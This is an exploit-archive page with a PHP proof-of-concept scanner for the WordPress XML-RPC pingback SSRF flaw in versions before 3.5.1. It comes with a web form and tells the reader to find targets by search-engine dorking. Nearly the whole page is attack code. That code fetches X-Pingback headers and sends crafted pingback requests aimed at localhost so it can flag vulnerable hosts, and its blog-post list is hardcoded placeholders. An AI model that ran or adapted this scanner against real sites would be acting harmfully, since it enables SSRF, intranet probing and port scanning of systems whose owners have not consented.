Share
## https://sploitus.com/exploit?id=PACKETSTORM:189590
=============================================================================================================================================
| # Title : WordPress before 3.5.1 Pingback Checker Tool |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://wordpress.org/ |
=============================================================================================================================================
POC :
[+] Dorking İn Google Or Other Search Enggine.
[+] Code Description: The XMLRPC API in WordPress before 3.5.1 allows remote attackers to send HTTP requests to intranet servers, and conduct port-scanning attacks, by specifying a crafted source URL for a pingback, related to a Server-Side Request Forgery (SSRF) issue.
[+] save code as poc.php.
[+] USage : http://127.0.0.1/poc.php
[+] PayLoad :
<?php
class WordpressPingbackLocator {
private $targetUri;
private $numRedirects;
private $dbActive;
public function __construct($targetUri = '/', $numRedirects = 10) {
$this->targetUri = rtrim($targetUri, '/') . '/';
$this->numRedirects = $numRedirects;
$this->dbActive = $this->checkDatabase();
}
private function checkDatabase() {
// تحقق مما إذا كان هناك اتصال بقاعدة البيانات
return function_exists('mysqli_connect');
}
public function getXmlRpcUrl($ip) {
echo "$ip - Enumerating XML-RPC URI...\n";
$headers = get_headers("http://$ip{$this->targetUri}", 1);
if (isset($headers['X-Pingback'])) {
return $headers['X-Pingback'];
}
echo "$ip - X-Pingback header not found\n";
return null;
}
public function generatePingbackXml($target, $validBlogPost) {
return "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>" .
"<methodCall><methodName>pingback.ping</methodName>" .
"<params><param><value><string>$target</string></value></param>" .
"<param><value><string>$validBlogPost</string></value></param>" .
"</params></methodCall>";
}
public function getBlogPosts($xmlRpc, $ip) {
$blogPosts = $this->getAllBlogPosts();
foreach ($blogPosts as $blogPost) {
$response = $this->sendPingbackRequest($xmlRpc, 'http://127.0.0.1', $blogPost);
if ($response && strpos($response, '<value><int>33</int></value>') === false) {
echo "$ip - Pingback enabled: $blogPost\n";
return $blogPost;
}
}
return null;
}
private function sendPingbackRequest($xmlRpc, $target, $blogPost) {
$pingbackXml = $this->generatePingbackXml($target, $blogPost);
$ch = curl_init($xmlRpc);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $pingbackXml);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
private function getAllBlogPosts() {
return ["http://example.com/post1", "http://example.com/post2"];
}
public function runHost($ip) {
echo "$ip - Checking if it's a WordPress site...\n";
$xmlrpc = $this->getXmlRpcUrl($ip);
if (!$xmlrpc) {
echo "$ip - Not vulnerable or not a WordPress site\n";
return;
}
$blogPost = $this->getBlogPosts($xmlrpc, $ip);
if ($blogPost && $this->dbActive) {
$this->storeVuln($ip, $blogPost);
} else {
echo "$ip - X-Pingback enabled but no vulnerable blogs found\n";
}
}
private function storeVuln($ip, $blog) {
echo "Stored vulnerability: $ip - Pingback found at $blog\n";
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$target = $_POST['target'] ?? '';
if (!empty($target)) {
$scanner = new WordpressPingbackLocator('/wordpress/');
$scanner->runHost($target);
}
}
?>
<!DOCTYPE html>
<html lang="ar">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>فحص WordPress Pingback</title>
</head>
<body>
<h2>أداة فحص WordPress Pingback</h2>
<form method="POST">
<label for="target">أدخل عنوان الموقع:</label>
<input type="text" id="target" name="target" required>
<button type="submit">فحص</button>
</form>
</body>
</html>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================